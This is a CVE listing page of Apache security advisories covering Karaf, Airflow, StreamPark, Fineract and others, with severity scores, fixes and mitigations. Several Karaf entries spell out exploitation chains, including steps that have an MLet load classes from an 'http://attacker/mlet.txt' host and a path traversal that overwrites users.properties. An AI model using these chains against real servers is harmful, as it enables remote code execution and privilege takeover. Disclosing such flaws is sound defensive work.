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3520 CVE
| CVE | Vendors | Products | Updated | CVSS v2 | CVSS v3 |
|---|---|---|---|---|---|
| CVE-2025-59792 | 1 Apache | 1 Kvrocks | 2026-10-08 | N/A | 5.3 MEDIUM |
| Reveals plaintext credentials in the MONITOR command vulnerability in Apache Kvrocks. This issue affects Apache Kvrocks: from 1.0.0 through 2.13.0. Users are recommended to upgrade to version 2.14.0, which fixes the issue. | |||||
| CVE-2025-62503 | 1 Apache | 1 Airflow | 2026-10-08 | N/A | 4.6 MEDIUM |
| User with CREATE and no UPDATE privilege for Pools, Connections, Variables could update existing records via bulk create API with overwrite action. | |||||
| CVE-2025-54941 | 1 Apache | 1 Airflow | 2026-10-08 | N/A | 4.6 MEDIUM |
| An example dag `example_dag_decorator` had non-validated parameter that allowed the UI user to redirect the example to a malicious server and execute code on worker. This however required that the example dags are enabled in production (not default) or the example dag code copied to build your own similar dag. If you used the `example_dag_decorator` please review it and apply the changes implemented in Airflow 3.0.5 accordingly. | |||||
| CVE-2026-46729 | 1 Apache | 1 Http Server | 2026-10-08 | N/A | 7.5 HIGH |
| NULL Pointer Dereference vulnerability in Apache HTTP Servers mod_heartmonitor over unicast listener. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68. | |||||
| CVE-2020-15250 | 4 Apache, Debian, Junit and 1 more | 4 Pluto, Debian Linux, Junit4 and 1 more | 2026-10-07 | 1.9 LOW | 4.4 MEDIUM |
| In JUnit4 from version 4.7 and before 4.13.1, the test rule TemporaryFolder contains a local information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system. This vulnerability does not allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability. This vulnerability impacts you if the JUnit tests write sensitive information, like API keys or passwords, into the temporary folder, and the JUnit tests execute in an environment where the OS has other untrusted users. Because certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using. For Java 1.7 and higher users: this vulnerability is fixed in 4.13.1. For Java 1.6 and lower users: no patch is available, you must use the workaround below. If you are unable to patch, or are stuck running on Java 1.6, specifying the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability. For more information, including an example of vulnerable code, see the referenced GitHub Security Advisory. | |||||
| CVE-2025-62232 | 1 Apache | 1 Apisix | 2026-10-07 | N/A | 7.5 HIGH |
| Sensitive data exposure via logging in basic-auth leads to plaintext usernames and passwords written to error logs and forwarded to log sinks when log level is INFO/DEBUG. This creates a high risk of credential compromise through log access. It has been fixed in the following commit: https://github.com/apache/apisix/pull/12629 Users are recommended to upgrade to version 3.14, which fixes this issue. | |||||
| CVE-2026-91012 | 1 Apache | 1 Karaf | 2026-10-07 | N/A | 9.8 CRITICAL |
| org.apache.karaf.config.core.impl.ConfigRepositoryImpl#update(pid, properties), which backs the "config" MBean and the config:* shell commands, derives the file it writes a configuration to from caller-supplied input without checking that the result stays inside ${karaf.etc}: * if the submitted property map contains a felix.fileinstall.filename entry, that value is turned directly into a File (getCfgFileFromProperty), so it can point to any absolute path the Karaf process can write to; * otherwise the configuration PID is concatenated verbatim into the target file name (generateConfigFilename(): new File(karaf.etc, pid + ".cfg")), so a PID containing ".." segments resolves outside ${karaf.etc}. createFactoryConfiguration() has the same issue via the factory PID/alias. Both code paths are reachable by any caller holding the "manager" role under Karaf's shipped command/JMX ACL (org.apache.karaf.command.acl.conf.cfg: "update = manager"). Such a user can therefore write attacker-controlled content to any file the Karaf process can write, including files the same ACL otherwise reserves to "admin" (etc/users.properties, etc/*.acl.*.cfg, etc/org.apache.karaf.management.cfg, and similar), allowing a manager-role user to grant themselves the admin role or otherwise take over the container. ConfigMBeanImpl.install() and the config:install shell command already guarded the equivalent risk on their own code path with a finalname.contains("..") string check, but that check does not stop absolute paths or symlink-based escapes, and it was never applied to ConfigRepositoryImpl.update() / createFactoryConfiguration() at all. | |||||
| CVE-2026-91048 | 1 Apache | 1 Karaf | 2026-10-07 | N/A | 9.8 CRITICAL |
| The jdbc shell command scope shipped no org.apache.karaf.command.acl.jdbc.cfg. Karaf's command guard (SecuredSessionFactoryImpl) treats a command with no matching ACL rule as allowed, so any authenticated shell session (including one holding only the viewer role) could run every jdbc:* command. jdbc:ds-create stores a fully attacker-controlled JDBC URL into a pax-jdbc-config factory Configuration with no validation. pax-jdbc-config reactively turns that into a live DataSource. Several JDBC drivers run code or SQL at connection time based on URL parameters (e.g. H2 INIT=RUNSCRIPT), so a viewer-level shell user could reach arbitrary code execution, bypassing the admin-role gate that already protects shell:exec. This is a privilege-escalation-to-RCE chain, not merely an "admin misconfiguration". The same applies to jms:* shell commands. | |||||
| CVE-2026-91085 | 1 Apache | 1 Karaf | 2026-10-07 | N/A | 6.3 MEDIUM |
| Apache Karaf's shell/SSH command security is enforced by per-scope ACL configuration files (etc/org.apache.karaf.command.acl.<scope>.cfg). SecuredSessionFactoryImpl.checkSecurity() resolves the roles required for an invocation and, when no ACL rule matches the command, fails open: ACLConfigurationParser.Specificity.NO_MATCH sets passCheck = true. The safety valve for this, karaf.secured.command.compulsory.roles, ships commented out in etc/system.properties, so an unmatched command is allowed for any authenticated user. The shipped org.apache.karaf.command.acl.config ACL (assemblies/features/standard/src/main/feature/feature.xml, mirrored into instance/.../etc/org.apache.karaf.command.acl.config.cfg) has no install entry. It restricts delete to admin, restricts edit/property-*/update on the jmx.acl.*, org.apache.karaf.command.acl.* and org.apache.karaf.service.acl.* PIDs to admin, and allows manager for everything else, but config:install was simply unmatched, and therefore allowed for any authenticated user, including one holding only the viewer role. config:install <url> <finalname> fetches url and writes it into ${karaf.etc} as finalname. It calls PathUtils.checkWithin() to block .. traversal outside karaf.etc, but that folder holds every security-relevant file Karaf ships: users.properties, keys.properties, host.key, and all org.apache.karaf.*.acl.* files, including the very ACL file that (mis)governs this command. With -o/--override, an existing file is overwritten with attacker-controlled bytes fetched from an arbitrary URL. Because felix.fileinstall.dir = ${karaf.etc} (etc/config.properties), Felix FileInstall also watches and reloads any .cfg file dropped there, closing the loop without requiring a restart. By contrast, bundle:install, feature:install and kar:install are all admin-only in their own ACLs, and config:delete is admin in this same ACL, config:install was the outlier. MitigationAdd install = admin in etc/org.apache.karaf.command.acl.config.cfg (create the file is absent), and/or set karaf.secured.command.compulsory.roles=admin in etc/system.properties (and restart) to make unmatched commands fail closed by default. | |||||
| CVE-2025-23408 | 1 Apache | 1 Fineract | 2026-10-07 | N/A | 6.5 MEDIUM |
| Weak Password Requirements vulnerability in Apache Fineract. This issue affects Apache Fineract: through 1.10.1. The issue is fixed in version 1.11.0. Users are encouraged to upgrade to version 1.13.0, the latest release. | |||||
| CVE-2025-54981 | 1 Apache | 1 Streampark | 2026-10-07 | N/A | 7.5 HIGH |
| Weak Encryption Algorithm in StreamPark, The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-58137 | 1 Apache | 1 Fineract | 2026-10-07 | N/A | 8.1 HIGH |
| Authorization Bypass Through User-Controlled Key vulnerability in Apache Fineract. This issue affects Apache Fineract: through 1.11.0. The issue is fixed in version 1.12.1. Users are encouraged to upgrade to version 1.13.0, the latest release. | |||||
| CVE-2025-26866 | 1 Apache | 1 Hugegraph | 2026-10-07 | N/A | 8.8 HIGH |
| A remote code execution vulnerability exists where a malicious Raft node can exploit insecure Hessian deserialization within the PD store. The fix enforces IP-based authentication to restrict cluster membership and implements a strict class whitelist to harden the Hessian serialization process against object injection attacks. Users are recommended to upgrade to version 1.7.0, which fixes the issue. | |||||
| CVE-2025-54947 | 1 Apache | 1 Streampark | 2026-10-07 | N/A | 9.8 CRITICAL |
| In Apache StreamPark versions 2.0.0 through 2.1.7, a security vulnerability involving a hard-coded encryption key exists. This vulnerability occurs because the system uses a fixed, immutable key for encryption instead of dynamically generating or securely configuring the key. Attackers may obtain this key through reverse engineering or code analysis, potentially decrypting sensitive data or forging encrypted information, leading to information disclosure or unauthorized system access. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-53960 | 1 Apache | 1 Streampark | 2026-10-07 | N/A | 5.9 MEDIUM |
| When issuing JSON Web Tokens (JWT), Apache StreamPark directly uses the user's password as the HMAC signing key (e.g., with the HS256 algorithm). An attacker can exploit this vulnerability to perform offline brute-force attacks on the user's password using a captured JWT, or to arbitrarily forge identity tokens for the user if the password is already known, ultimately leading to complete account takeover. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue. | |||||
| CVE-2025-58130 | 1 Apache | 1 Fineract | 2026-10-07 | N/A | 9.1 CRITICAL |
| Insufficiently Protected Credentials vulnerability in Apache Fineract. This issue affects Apache Fineract: through 1.11.0. The issue is fixed in version 1.12.1. Users are encouraged to upgrade to version 1.13.0, the latest release. | |||||
| CVE-2026-92142 | 1 Apache | 1 Karaf | 2026-10-07 | N/A | 8.8 HIGH |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. | |||||
| CVE-2026-81862 | 1 Apache | 1 Apache-airflow-providers-teradata | 2026-10-07 | N/A | 6.5 MEDIUM |
| Apache Airflow's Teradata provider embedded cloud storage credentials directly into SQL statements. `S3ToTeradataOperator` and `AzureBlobStorageToTeradataOperator` interpolate the source bucket's credentials as plain string literals into the `CREATE MULTISET TABLE ... LOCATION` statement whenever the bucket is private and no `teradata_authorization_name` is configured — which is the default credential path for both operators. The statement is then logged and executed, so the credentials reach two places outside the operator's control. The two operators expose different credentials through different channels, and deployments should check both. `S3ToTeradataOperator` takes its values from `s3_hook.get_credentials()`, which under an instance profile or IRSA returns runtime AWS credentials that were never registered with Airflow's secrets masker — and the STS session token is runtime-generated and therefore unmasked even when an AWS connection is configured. Those credentials appear **in the Airflow task log**, readable by any user with log-view permission on the Dag. `AzureBlobStorageToTeradataOperator` takes its storage account key from the connection, so the masker usually redacts the task-log copy; its exposure is the Teradata side. **Both** operators write the credentials into Teradata's DBQL query logs and live monitoring views, where Airflow's masking never applies and the values persist for that system's log retention period. Affects deployments using either operator against a private bucket or container without a Teradata `AUTHORIZATION` object. Users are advised to upgrade to `apache-airflow-providers-teradata` `3.7.0` or later, which keeps the credential-bearing statement out of the Airflow task log. Upgrading does not remove the credentials from Teradata's query logs and monitoring views, which Airflow cannot redact: users should configure `teradata_authorization_name` with a Teradata `AUTHORIZATION` object so that credentials are never inlined, and should rotate any credentials previously used through the inline path. | |||||
| CVE-2026-81914 | 1 Apache | 1 Apache-airflow-providers-google | 2026-10-07 | N/A | 4.3 MEDIUM |
| Apache Airflow's Google provider built Google Drive search expressions by interpolating file and folder names directly into single-quoted string literals, without escaping the quote character that delimits them. A name containing an apostrophe therefore terminated the literal early and appended clauses of the attacker's choosing to the query. The names are frequently not written by the Dag author. In a wildcard `gcs_to_gdrive` transfer they come from the source bucket listing, so anyone able to create objects in that bucket controls them — typically an external data producer or an ingest-only service account, a different trust principal from the Dag author. An injected clause can broaden the match and so steer which file or folder the hook resolves: an upload can be directed into a folder the attacker named, and, because downloads select the most recently modified match, a download can return a file they placed rather than the one the Dag asked for. Affects deployments passing externally-sourced names to the Google Drive hook, including wildcard `gcs_to_gdrive` transfers from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` `22.6.0` or later, which escapes quote and backslash characters in every value interpolated into a Drive query. | |||||
| CVE-2026-81930 | 1 Apache | 1 Apache-airflow-providers-snowflake | 2026-10-07 | N/A | 6.3 MEDIUM |
| Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in control of the request host. The provider sends that request with an `Authorization: Bearer` header carrying a JWT minted from the connection's private key, or the configured OAuth or programmatic access token. A user who can edit the Snowflake connection but cannot read its secrets — Airflow gives connection-configuration users write-only access to stored credentials, and a `private_key_file` lives on the worker rather than in the connection — can therefore cause a valid token for the account to be delivered to a host of their choosing and replay it against the genuine Snowflake endpoint. No Dag-authoring ability is required: the attacker edits the connection and waits for an existing Dag to use it. The same unvalidated value was also used to build the OAuth token-request URL and the Cortex Agent base URL. Affects deployments where Snowflake connections are editable by users who are not trusted with the connection's credentials. Users are advised to upgrade to `apache-airflow-providers-snowflake` `6.18.0` or later, which rejects `account` and `region` values containing anything other than letters, digits, `.`, `_` and `-` in every URL the provider builds from them. | |||||